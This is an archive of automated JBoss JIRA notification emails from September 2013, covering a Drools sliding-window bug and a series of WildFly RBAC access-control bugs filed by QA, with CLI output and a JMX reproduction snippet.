2013-08-30 09:50:44,824 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#14
2013-08-30 09:50:44,824 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 05:15:04 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Tue, 3 Sep 2013 05:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
	incorrectly
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.5306.1378199704963@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801050#comment-12801050 ] 

Davide Sottara commented on DROOLS-244:
---------------------------------------

In the test case you submitted, the classes are missing a few attributes so I can't reproduce it exactly.
However, you are probably right in suspecting the @timestamp attribute :) 
You can not define @timestamp with an expression.. it has to be the name of a field. Date and Long are both 
acceptable, so you should just remove the ".getTime()" part.
If this solves the issue, please close the ticket.
Best
Davide


                
> Sliding windows working incorrectly
> -----------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> I'm having an issue with sliding windows. For some reason even though event is in the past it still gets into the window.
> I'm attaching drl file, the event/fact classes.
> I expect it to print 1 0, but instead it prints: 1 1
> The code that reproduces the issue:
>    KnowledgeBuilder kbuilder = KnowledgeBuilderFactory.newKnowledgeBuilder();
>         kbuilder.add(ResourceFactory.newClassPathResource("file.drl") , ResourceType.DRL);
>         if (kbuilder.hasErrors() ) {
>             System.out.println( kbuilder.getErrors() );
>         }
>         KnowledgeBase kbase = KnowledgeBaseFactory.newKnowledgeBase();
>         kbase.addKnowledgePackages(kbuilder.getKnowledgePackages());
>         StatefulKnowledgeSession ksession = kbase.newStatefulKnowledgeSession();
>         Transaction transaction = new Transaction();
>         TransactionCompletedEvent event = new TransactionCompletedEvent();
>         event.setTransaction(transaction);
>         ksession.insert(transaction);
>         Date today = new Date();
>         Calendar cal = new GregorianCalendar();
>         cal.setTime(today);
>         cal.add(Calendar.DAY_OF_MONTH, -30);
>         event.setCreated(cal.getTime());
>         WorkingMemoryEntryPoint wmep = ksession.getWorkingMemoryEntryPoint("TransactionCompletedEventStream");
>         wmep.insert(event);
>         ksession.fireAllRules();
>         TransactionCreatedEvent event2 = new TransactionCreatedEvent();
>         event2.setTransaction(transaction);
>         ksession.insert(transaction);
>         ksession.getWorkingMemoryEntryPoint("TransactionCreatedEventStream").insert(event2);
>         ksession.fireAllRules();

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:25:04 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1789) RBAC:
 OperationContextImpl.readResourceForUpdate is missing an authorize call
In-Reply-To: <JIRA.12497691.1375277728000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497691.1375277728000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497691.1375277728000.5330.1378200303999@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1789?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1789:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> RBAC: OperationContextImpl.readResourceForUpdate is missing an authorize call
> -----------------------------------------------------------------------------
>
>                 Key: WFLY-1789
>                 URL: https://issues.jboss.org/browse/WFLY-1789
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Alpha4
>
>
> [This issue was in fact found on 2013-07-09 and is being filled now only for tracking purposes.]
> During code inspection, I found one method in the {{OperationContextImpl}} class that is IMHO missing an {{authorize}} call: {{readResourceForUpdate}}. Compare with {{readModelForUpdate}}. See TODO in the code.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:27:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1788) RBAC: role combination
	doesn't work
In-Reply-To: <JIRA.12497689.1375277175000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497689.1375277175000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497689.1375277175000.5332.1378200423433@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1788?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon reopened WFLY-1788:
---------------------------------


    
> RBAC: role combination doesn't work
> -----------------------------------
>
>                 Key: WFLY-1788
>                 URL: https://issues.jboss.org/browse/WFLY-1788
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Ladislav Thon
>
> [This issue was in fact found on 2013-07-02 and is being filled now only for tracking purposes.]
> Combining multiple roles doesn't work, as {{ManagementPermissionCollection(CombinationManagementPermission)}} will never {{imply}} a {{ManagementPermissionCollection(SimpleManagementPermission)}}. See TODOs in {{DefaultPermissionFactory}} and {{ManagementPermissionCollection}}.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:27:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1788) RBAC: role combination
	doesn't work
In-Reply-To: <JIRA.12497689.1375277175000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497689.1375277175000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497689.1375277175000.5334.1378200423515@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1788?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1788:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> RBAC: role combination doesn't work
> -----------------------------------
>
>                 Key: WFLY-1788
>                 URL: https://issues.jboss.org/browse/WFLY-1788
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Ladislav Thon
>              Labels: rbac-filed-by-qa
>
> [This issue was in fact found on 2013-07-02 and is being filled now only for tracking purposes.]
> Combining multiple roles doesn't work, as {{ManagementPermissionCollection(CombinationManagementPermission)}} will never {{imply}} a {{ManagementPermissionCollection(SimpleManagementPermission)}}. See TODOs in {{DefaultPermissionFactory}} and {{ManagementPermissionCollection}}.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:27:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1790) RBAC: HostScopedRole*
 operations are wrong (copy&paste from ServerGroupScopedRole*)
In-Reply-To: <JIRA.12497694.1375278644000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497694.1375278644000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497694.1375278644000.5340.1378200423788@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1790?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1790:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> RBAC: HostScopedRole* operations are wrong (copy&paste from ServerGroupScopedRole*)
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1790
>                 URL: https://issues.jboss.org/browse/WFLY-1790
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Ladislav Thon
>              Labels: rbac-filed-by-qa
>
> This is the issue I was speaking about with Brian yesterday.
> The {{HostScopedRole*}} operations are clearly a copy&paste from {{ServerGroupScopedRole*}} operations. Sadly, there are few artifacts of this:
> - {{HostScopedRoleAdd.performRuntime}} refers to attribute definitions from {{ServerGroupScopedRoleResourceDefinition}}, while it should use the ones from {{HostScopedRolesResourceDefinition}}
> - all the {{HostScopedRoleAdd}}, {{HostScopedRoleRemove}} and {{HostScopedRoleWriteAttributeHandler}} operations expect that the {{hosts}} attribute will always contain a valid list, while it can easily be undefined (see {{HostScopedRolesResourceDefinition.HOSTS}})

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:27:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1788) RBAC: role combination
	doesn't work
In-Reply-To: <JIRA.12497689.1375277175000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497689.1375277175000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497689.1375277175000.5336.1378200423616@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1788?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon resolved WFLY-1788.
---------------------------------

    Resolution: Done

    
> RBAC: role combination doesn't work
> -----------------------------------
>
>                 Key: WFLY-1788
>                 URL: https://issues.jboss.org/browse/WFLY-1788
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Ladislav Thon
>              Labels: rbac-filed-by-qa
>
> [This issue was in fact found on 2013-07-02 and is being filled now only for tracking purposes.]
> Combining multiple roles doesn't work, as {{ManagementPermissionCollection(CombinationManagementPermission)}} will never {{imply}} a {{ManagementPermissionCollection(SimpleManagementPermission)}}. See TODOs in {{DefaultPermissionFactory}} and {{ManagementPermissionCollection}}.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:27:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1790) RBAC: HostScopedRole*
 operations are wrong (copy&paste from ServerGroupScopedRole*)
In-Reply-To: <JIRA.12497694.1375278644000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497694.1375278644000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497694.1375278644000.5338.1378200423706@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1790?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon reopened WFLY-1790:
---------------------------------


    
> RBAC: HostScopedRole* operations are wrong (copy&paste from ServerGroupScopedRole*)
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1790
>                 URL: https://issues.jboss.org/browse/WFLY-1790
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Ladislav Thon
>
> This is the issue I was speaking about with Brian yesterday.
> The {{HostScopedRole*}} operations are clearly a copy&paste from {{ServerGroupScopedRole*}} operations. Sadly, there are few artifacts of this:
> - {{HostScopedRoleAdd.performRuntime}} refers to attribute definitions from {{ServerGroupScopedRoleResourceDefinition}}, while it should use the ones from {{HostScopedRolesResourceDefinition}}
> - all the {{HostScopedRoleAdd}}, {{HostScopedRoleRemove}} and {{HostScopedRoleWriteAttributeHandler}} operations expect that the {{hosts}} attribute will always contain a valid list, while it can easily be undefined (see {{HostScopedRolesResourceDefinition.HOSTS}})

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:27:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1790) RBAC: HostScopedRole*
 operations are wrong (copy&paste from ServerGroupScopedRole*)
In-Reply-To: <JIRA.12497694.1375278644000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497694.1375278644000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497694.1375278644000.5342.1378200423895@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1790?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon resolved WFLY-1790.
---------------------------------

    Resolution: Done

    
> RBAC: HostScopedRole* operations are wrong (copy&paste from ServerGroupScopedRole*)
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1790
>                 URL: https://issues.jboss.org/browse/WFLY-1790
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Ladislav Thon
>              Labels: rbac-filed-by-qa
>
> This is the issue I was speaking about with Brian yesterday.
> The {{HostScopedRole*}} operations are clearly a copy&paste from {{ServerGroupScopedRole*}} operations. Sadly, there are few artifacts of this:
> - {{HostScopedRoleAdd.performRuntime}} refers to attribute definitions from {{ServerGroupScopedRoleResourceDefinition}}, while it should use the ones from {{HostScopedRolesResourceDefinition}}
> - all the {{HostScopedRoleAdd}}, {{HostScopedRoleRemove}} and {{HostScopedRoleWriteAttributeHandler}} operations expect that the {{hosts}} attribute will always contain a valid list, while it can easily be undefined (see {{HostScopedRolesResourceDefinition.HOSTS}})

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:29:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1843) Invoking :read-resource
 operation on Security subsystem as a role with restricted privileges causes
 NPE
In-Reply-To: <JIRA.12498153.1375878902000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498153.1375878902000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498153.1375878902000.5348.1378200543600@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1843?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1843:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> Invoking :read-resource operation on Security subsystem as a role with restricted privileges causes NPE
> -------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1843
>                 URL: https://issues.jboss.org/browse/WFLY-1843
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Alpha4
>
>
> Invoking :read-resource operation on Security subsystem results in NPE
> {code}
> :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "identity" => {
>             "username" => "monitor",
>             "realm" => "ManagementRealm"
>         },
>         "roles" => ["Monitor"]
>     }
> }
> {code}
> {code}
> /subsystem=security:read-resource
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014749: Operation handler failed: null",
>     "rolled-back" => true
> }
> {code}
> As a result NPE can be found in server log [1] http://pastebin.test.redhat.com/157254
> Although I'm not sure whether this is relevant but SecuritySubsystemRootResourceDefinition doesn't have any Access Constraints set

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:29:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1844) deep-copy-subject-mode
 attribute on Security Subsystem is Readable to all roles
In-Reply-To: <JIRA.12498154.1375879398000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498154.1375879398000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498154.1375879398000.5356.1378200543874@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1844?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1844:
--------------------------------

    Assignee: Brian Stansberry

    
> deep-copy-subject-mode attribute on Security Subsystem is Readable to all roles
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-1844
>                 URL: https://issues.jboss.org/browse/WFLY-1844
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> According to this spreadsheet [1] deep-copy-subject-mode attribute should be available only to Administrator role, instead it is Readable for everyone 
> {code}
> [standalone at localhost:9990 /] :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "identity" => {
>             "username" => "monitor",
>             "realm" => "ManagementRealm"
>         },
>         "roles" => ["Monitor"]
>     }
> }
> [standalone at localhost:9990 /] /subsystem=security:read-attribute(name=deep-copy-subject-mode)
> {
>     "outcome" => "success",
>     "result" => false
> }
> {code}
> [1] https://docs.google.com/spreadsheet/ccc?key=0Au0knNJrYUJhdFlSSEVpdGJpQnlDOURXYTRYajhaZWc#gid=1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:29:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1844) deep-copy-subject-mode
 attribute on Security Subsystem is Readable to all roles
In-Reply-To: <JIRA.12498154.1375879398000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498154.1375879398000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498154.1375879398000.5352.1378200543734@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1844?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1844:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> deep-copy-subject-mode attribute on Security Subsystem is Readable to all roles
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-1844
>                 URL: https://issues.jboss.org/browse/WFLY-1844
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> According to this spreadsheet [1] deep-copy-subject-mode attribute should be available only to Administrator role, instead it is Readable for everyone 
> {code}
> [standalone at localhost:9990 /] :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "identity" => {
>             "username" => "monitor",
>             "realm" => "ManagementRealm"
>         },
>         "roles" => ["Monitor"]
>     }
> }
> [standalone at localhost:9990 /] /subsystem=security:read-attribute(name=deep-copy-subject-mode)
> {
>     "outcome" => "success",
>     "result" => false
> }
> {code}
> [1] https://docs.google.com/spreadsheet/ccc?key=0Au0knNJrYUJhdFlSSEVpdGJpQnlDOURXYTRYajhaZWc#gid=1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:31:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1895) Provide a "default" role for
 users with no other role specified
In-Reply-To: <JIRA.12498830.1376775776000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498830.1376775776000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498830.1376775776000.5361.1378200663985@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1895?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1895:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> Provide a "default" role for users with no other role specified
> ---------------------------------------------------------------
>
>                 Key: WFLY-1895
>                 URL: https://issues.jboss.org/browse/WFLY-1895
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> Currently it seems that when using RBAC provider users with no defined role are unable to read domain model at all.  Consequently logging into Admin Console leads to 500 error page. Similar errors in CLI. 
> In relation to this, it should be considered what is the expected behavior of unsecured management interface. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:31:04 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1923) Access through unsecured
 management interface
In-Reply-To: <JIRA.12499156.1377164864000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499156.1377164864000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499156.1377164864000.5365.1378200664208@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1923?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1923:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> Access through unsecured management interface
> ---------------------------------------------
>
>                 Key: WFLY-1923
>                 URL: https://issues.jboss.org/browse/WFLY-1923
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It is not possible to read domain-model through unsecured management interface[1] when using Simple provider. As this worked in previous releases I would expect this to do so even after introduction of RBAC.   
> Removing security realm and accessing the interface leads to IAE
> {code}
> ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-7) JBAS014612: Operation ("whoami") failed - address: ([]): java.lang.IllegalArgumentException: newValue is null
> ...
> {code} 
> [1] removing "security-realm" attribute, thus disabling authentication for given interface. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:33:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1958) Provide machine readable
 referential document with information of default security constrains
In-Reply-To: <JIRA.12499419.1377594673000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499419.1377594673000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499419.1377594673000.5374.1378200783442@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1958?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1958:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> Provide machine readable referential document with information of default security constrains
> ---------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1958
>                 URL: https://issues.jboss.org/browse/WFLY-1958
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> This is more of a future task, but at some point we should make sure that all  security constraints are configured properly (right now we have no way of telling which resources should be, for example, sensitive). Thus QE will need something to check against.  As a good example of what I mean have a look at referential document for module classification [1] - although for RBAC we would like to see something more "machine-friendly" 
> This should be something like listing of resources classified by default as sensitive/application/... 
> [1] https://docspace.corp.redhat.com/docs/DOC-105009

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:33:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1983) MBeans for unaddressable
 resources available through JMX
In-Reply-To: <JIRA.12499789.1378191889000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499789.1378191889000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499789.1378191889000.5378.1378200783631@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1983?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1983:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> MBeans for unaddressable resources available through JMX
> --------------------------------------------------------
>
>                 Key: WFLY-1983
>                 URL: https://issues.jboss.org/browse/WFLY-1983
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> MBeans for resources which are unaddressable for authenticated user still has its corresponding MBeans registered - e.g. security-realm=ManagementRealm
> {code}
> Map<String, String[]> env = new HashMap<String, String[]>();
> String[] credentials = {"monitor", "asd1asd!"};
> env.put(JMXConnector.CREDENTIALS, credentials);
> JMXServiceURL url = new JMXServiceURL("service:jmx:remoting-jmx://localhost:9999");
> JMXConnector jmxConnector = JMXConnectorFactory.connect(url, env);
> MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
> ObjectName mgmtRealm = new ObjectName("jboss.as:core-service=management,security-realm=ManagementRealm");
> MBeanInfo info = mBeanServerConnection.getMBeanInfo(mgmtRealm);
> System.out.println(info.getClassName());
> >>> org.jboss.as.controller.ModelController
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:33:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1984) MBeanAttributeInfo#isReadable
 and MBeanAttributeInfo#isWrittable return always true
In-Reply-To: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499790.1378192763000.5382.1378200783773@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1984?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1984:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> MBeanAttributeInfo#isReadable and MBeanAttributeInfo#isWrittable return always true
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1984
>                 URL: https://issues.jboss.org/browse/WFLY-1984
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> According to javadoc [1] these methods should return boolean value based on whether this attribute can be read / written. However currently true is returned even though authenticated user can't perform read / write operation. 
> Note: As I am familiar with JMX spec only very briefly, it is possible that these methods are intended for something bit different. 
> [1] http://docs.oracle.com/javase/7/docs/api/javax/management/MBeanAttributeInfo.html#isReadable()

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

